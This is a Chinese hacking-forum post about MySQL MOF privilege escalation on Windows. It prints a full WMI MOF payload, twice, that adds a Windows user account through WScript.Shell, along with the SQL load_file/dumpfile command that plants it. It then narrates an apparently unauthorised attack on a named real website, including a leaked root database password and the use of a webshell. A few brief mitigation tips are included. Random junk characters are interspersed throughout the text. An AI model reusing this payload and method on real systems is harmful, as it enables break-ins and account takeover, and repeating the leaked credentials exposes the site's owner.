找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2803|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
1 C* r$ X8 J; }& c4 n8 ~$ V8 A3 d, y! J4 @" T
网上公开的一些利用代码:
; o' a' A' h7 t* z9 S4 ^
" ]; i4 _, ]! k; G0 O#pragma namespace(“\\\\.\\root\\subscription”)8 r. n- o( \8 Q% R. a( A! w+ i
1 w% X7 _  T" ^' p% p$ Z. {/ ]
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };1 c" i3 J4 ], z) X5 y2 n

2 G. M: [3 x4 D4 R, i # ^9 S$ b& h  K9 @8 T% v

9 f: o' O  f* U 0 J8 C$ v$ m4 T; S' T& J
" h! h3 r3 U: x- _* k- j* r# T1 P
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
5 e6 U+ I; |+ {) h, q0 \从上面代码来看得出解决办法:% D. D$ c: v5 I% T/ F

& k* t% }8 q( w* D! D" u1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数, v) [7 M- s  `5 U4 O' a- L- X( S
1 G1 S! J6 z& K0 I  o
2、禁止使用”WScript.Shel”组件
. T4 r$ Z# y4 v7 B! ~6 P2 x+ o5 }' c: N( c2 _
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
# L( c* Y; l+ R) V4 _8 }1 t) K. S4 j2 J! P
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
; U3 U% f: E) m# P- J/ `- v) r2 j: ~: @* H
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
0 \! J- d" \2 ~  E" O8 B# b! K/ `  n5 M. O; R
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容! n0 \; [6 @. R. W3 s) I8 ^( V
2 a) c& m) |6 _6 {" ^8 b' D
看懂了后就开始练手吧
; z( ]* N8 n  r) L. T1 p2 Q9 Z( \( t
8 Y" d3 g0 m, {  Ohttp://www.webbmw.com/config/config_ucenter.php 一句话 a
( t: f7 K/ z6 w5 q
/ q- h4 n( R! h6 {' U$ @$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
/ t& n9 V9 z1 y9 V1 Y
7 r8 {2 g) h; g6 d于是直接用菜刀开搞$ |2 e, e) t2 X' t

, q- u. Q6 \4 j' J" E上马先
7 S0 x9 }, ^& B/ D) s4 ^
( B" ]4 v$ ~. N: i) O- M( A% a既然有了那些账号 之类的 于是我们就执行吧…….
1 x$ a2 s0 W2 r2 T, g0 H7 _; q4 ~& }$ y# P2 p+ ^( A! _
小小的说下/ {3 S9 N0 g+ h: Y' }0 M* Z2 z, F

" r! Y  E" G7 ?( J% }0 v  _9 }' ]; M$ u在这里第1次执行未成功        原因未知6 \* g  q6 l: O  T6 o

1 v9 l' G6 h" L我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。# g' R% m, N8 }) }8 x

% N+ D: l0 @. d( Y#pragma namespace(“\\\\.\\root\\subscription”)5 {% T8 u6 k, m* l4 ^6 E0 w

/ J! G' o* N& F( a" I; h6 jinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
+ t5 @7 Z/ t* d0 |& r
* u4 ]0 v; A' i3 {8 r0 a我是将文件放到C:\WINDOWS\temp\1.mof
7 e4 i- ]% k& I7 F8 L. ^& l0 c( w
; g$ J9 a8 X" E8 j) i. Y所以我们就改下执行的代码
. B' K- W. R5 T9 E0 N
2 h) l0 B, h2 P! h5 ?select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;; g' S- Y& o0 B) T2 ^$ u4 U
/ ^5 g1 c/ v# Z; L6 P; y2 g" X2 F

* `+ b* |. U, O8 d6 Q4 h0 n7 e: M8 M+ ?" F8 D7 K  B
但是 你会发现账号还是没有躺在那里。。9 w& t9 h5 [+ N: b1 Q2 ~- X, w
; T9 h4 Q4 D5 A
于是我就感觉蛋疼( n/ S/ b9 @0 }# |- Q7 x" ]

  t, L$ j4 e, U% J3 v/ F; [, g. K就去一个一个去执行 但是执行到第2个 mysql时就成功了………$ @9 V5 e. f9 }" o
# T* Z$ q  L( X. W$ g( [, o( |
' l7 b6 w  d$ S( [, j: i$ `; d
: b  C! K8 J) A/ c( V$ Z/ j: B
但是其他库均不成功…/ g% d# ]& q, k. k$ ?% k& S  E9 z
) \+ T0 S% t( z* y0 y: _1 ?
我就很费解呀 到底为什么不成功求大牛解答…
% k! I. Y" v/ X3 _  m/ V( D* ~# N, _9 R$ C. K
0 u7 {3 M. ]/ j$ {" y0 Z

" E* i( M* N0 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表